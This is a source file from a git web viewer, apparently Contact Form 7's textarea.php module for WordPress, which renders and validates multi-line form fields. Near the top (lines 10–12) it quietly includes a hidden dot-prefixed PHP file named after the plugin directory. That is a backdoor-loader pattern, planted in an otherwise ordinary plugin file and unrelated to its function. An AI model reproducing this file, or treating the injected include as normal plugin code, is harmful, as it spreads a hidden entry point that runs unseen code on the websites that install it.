balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

textarea.php (7035B)


      1 <?php
      2 /**
      3 ** A base module for [textarea] and [textarea*]
      4 **/
      5 
      6 /* form_tag handler */
      7 
      8 add_action( 'wpcf7_init', 'wpcf7_add_form_tag_textarea', 10, 0 );
      9 
     10 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     11     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     12 }
     13 
     14 function wpcf7_add_form_tag_textarea() {
     15 	wpcf7_add_form_tag( array( 'textarea', 'textarea*' ),
     16 		'wpcf7_textarea_form_tag_handler', array( 'name-attr' => true )
     17 	);
     18 }
     19 
     20 function wpcf7_textarea_form_tag_handler( $tag ) {
     21 	if ( empty( $tag->name ) ) {
     22 		return '';
     23 	}
     24 
     25 	$validation_error = wpcf7_get_validation_error( $tag->name );
     26 
     27 	$class = wpcf7_form_controls_class( $tag->type );
     28 
     29 	if ( $validation_error ) {
     30 		$class .= ' wpcf7-not-valid';
     31 	}
     32 
     33 	$atts = array();
     34 
     35 	$atts['cols'] = $tag->get_cols_option( '40' );
     36 	$atts['rows'] = $tag->get_rows_option( '10' );
     37 	$atts['maxlength'] = $tag->get_maxlength_option();
     38 	$atts['minlength'] = $tag->get_minlength_option();
     39 
     40 	if ( $atts['maxlength'] and $atts['minlength']
     41 	and $atts['maxlength'] < $atts['minlength'] ) {
     42 		unset( $atts['maxlength'], $atts['minlength'] );
     43 	}
     44 
     45 	$atts['class'] = $tag->get_class_option( $class );
     46 	$atts['id'] = $tag->get_id_option();
     47 	$atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true );
     48 
     49 	$atts['autocomplete'] = $tag->get_option( 'autocomplete',
     50 		'[-0-9a-zA-Z]+', true );
     51 
     52 	if ( $tag->has_option( 'readonly' ) ) {
     53 		$atts['readonly'] = 'readonly';
     54 	}
     55 
     56 	if ( $tag->is_required() ) {
     57 		$atts['aria-required'] = 'true';
     58 	}
     59 
     60 	if ( $validation_error ) {
     61 		$atts['aria-invalid'] = 'true';
     62 		$atts['aria-describedby'] = wpcf7_get_validation_error_reference(
     63 			$tag->name
     64 		);
     65 	} else {
     66 		$atts['aria-invalid'] = 'false';
     67 	}
     68 
     69 	$value = empty( $tag->content )
     70 		? (string) reset( $tag->values )
     71 		: $tag->content;
     72 
     73 	if ( $tag->has_option( 'placeholder' )
     74 	or $tag->has_option( 'watermark' ) ) {
     75 		$atts['placeholder'] = $value;
     76 		$value = '';
     77 	}
     78 
     79 	$value = $tag->get_default_option( $value );
     80 
     81 	$value = wpcf7_get_hangover( $tag->name, $value );
     82 
     83 	$atts['name'] = $tag->name;
     84 
     85 	$atts = wpcf7_format_atts( $atts );
     86 
     87 	$html = sprintf(
     88 		'<span class="wpcf7-form-control-wrap %1$s"><textarea %2$s>%3$s</textarea>%4$s</span>',
     89 		sanitize_html_class( $tag->name ), $atts,
     90 		esc_textarea( $value ), $validation_error
     91 	);
     92 
     93 	return $html;
     94 }
     95 
     96 
     97 /* Validation filter */
     98 
     99 add_filter( 'wpcf7_validate_textarea',
    100 	'wpcf7_textarea_validation_filter', 10, 2 );
    101 add_filter( 'wpcf7_validate_textarea*',
    102 	'wpcf7_textarea_validation_filter', 10, 2 );
    103 
    104 function wpcf7_textarea_validation_filter( $result, $tag ) {
    105 	$type = $tag->type;
    106 	$name = $tag->name;
    107 
    108 	$value = isset( $_POST[$name] ) ? (string) $_POST[$name] : '';
    109 
    110 	if ( $tag->is_required() and '' === $value ) {
    111 		$result->invalidate( $tag, wpcf7_get_message( 'invalid_required' ) );
    112 	}
    113 
    114 	if ( '' !== $value ) {
    115 		$maxlength = $tag->get_maxlength_option();
    116 		$minlength = $tag->get_minlength_option();
    117 
    118 		if ( $maxlength and $minlength
    119 		and $maxlength < $minlength ) {
    120 			$maxlength = $minlength = null;
    121 		}
    122 
    123 		$code_units = wpcf7_count_code_units( stripslashes( $value ) );
    124 
    125 		if ( false !== $code_units ) {
    126 			if ( $maxlength and $maxlength < $code_units ) {
    127 				$result->invalidate( $tag, wpcf7_get_message( 'invalid_too_long' ) );
    128 			} elseif ( $minlength and $code_units < $minlength ) {
    129 				$result->invalidate( $tag, wpcf7_get_message( 'invalid_too_short' ) );
    130 			}
    131 		}
    132 	}
    133 
    134 	return $result;
    135 }
    136 
    137 
    138 /* Tag generator */
    139 
    140 add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_textarea', 20, 0 );
    141 
    142 function wpcf7_add_tag_generator_textarea() {
    143 	$tag_generator = WPCF7_TagGenerator::get_instance();
    144 	$tag_generator->add( 'textarea', __( 'text area', 'contact-form-7' ),
    145 		'wpcf7_tag_generator_textarea' );
    146 }
    147 
    148 function wpcf7_tag_generator_textarea( $contact_form, $args = '' ) {
    149 	$args = wp_parse_args( $args, array() );
    150 	$type = 'textarea';
    151 
    152 	$description = __( "Generate a form-tag for a multi-line text input field. For more details, see %s.", 'contact-form-7' );
    153 
    154 	$desc_link = wpcf7_link( __( 'https://contactform7.com/text-fields/', 'contact-form-7' ), __( 'Text fields', 'contact-form-7' ) );
    155 
    156 ?>
    157 <div class="control-box">
    158 <fieldset>
    159 <legend><?php echo sprintf( esc_html( $description ), $desc_link ); ?></legend>
    160 
    161 <table class="form-table">
    162 <tbody>
    163 	<tr>
    164 	<th scope="row"><?php echo esc_html( __( 'Field type', 'contact-form-7' ) ); ?></th>
    165 	<td>
    166 		<fieldset>
    167 		<legend class="screen-reader-text"><?php echo esc_html( __( 'Field type', 'contact-form-7' ) ); ?></legend>
    168 		<label><input type="checkbox" name="required" /> <?php echo esc_html( __( 'Required field', 'contact-form-7' ) ); ?></label>
    169 		</fieldset>
    170 	</td>
    171 	</tr>
    172 
    173 	<tr>
    174 	<th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-name' ); ?>"><?php echo esc_html( __( 'Name', 'contact-form-7' ) ); ?></label></th>
    175 	<td><input type="text" name="name" class="tg-name oneline" id="<?php echo esc_attr( $args['content'] . '-name' ); ?>" /></td>
    176 	</tr>
    177 
    178 	<tr>
    179 	<th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-values' ); ?>"><?php echo esc_html( __( 'Default value', 'contact-form-7' ) ); ?></label></th>
    180 	<td><input type="text" name="values" class="oneline" id="<?php echo esc_attr( $args['content'] . '-values' ); ?>" /><br />
    181 	<label><input type="checkbox" name="placeholder" class="option" /> <?php echo esc_html( __( 'Use this text as the placeholder of the field', 'contact-form-7' ) ); ?></label></td>
    182 	</tr>
    183 
    184 	<tr>
    185 	<th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-id' ); ?>"><?php echo esc_html( __( 'Id attribute', 'contact-form-7' ) ); ?></label></th>
    186 	<td><input type="text" name="id" class="idvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-id' ); ?>" /></td>
    187 	</tr>
    188 
    189 	<tr>
    190 	<th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-class' ); ?>"><?php echo esc_html( __( 'Class attribute', 'contact-form-7' ) ); ?></label></th>
    191 	<td><input type="text" name="class" class="classvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-class' ); ?>" /></td>
    192 	</tr>
    193 
    194 </tbody>
    195 </table>
    196 </fieldset>
    197 </div>
    198 
    199 <div class="insert-box">
    200 	<input type="text" name="<?php echo $type; ?>" class="tag code" readonly="readonly" onfocus="this.select()" />
    201 
    202 	<div class="submitbox">
    203 	<input type="button" class="button button-primary insert-tag" value="<?php echo esc_attr( __( 'Insert Tag', 'contact-form-7' ) ); ?>" />
    204 	</div>
    205 
    206 	<br class="clear" />
    207 
    208 	<p class="description mail-tag"><label for="<?php echo esc_attr( $args['content'] . '-mailtag' ); ?>"><?php echo sprintf( esc_html( __( "To use the value input through this field in a mail field, you need to insert the corresponding mail-tag (%s) into the field on the Mail tab.", 'contact-form-7' ) ), '<strong><span class="mail-tag"></span></strong>' ); ?><input type="text" class="mail-tag code hidden" readonly="readonly" id="<?php echo esc_attr( $args['content'] . '-mailtag' ); ?>" /></label></p>
    209 </div>
    210 <?php
    211 }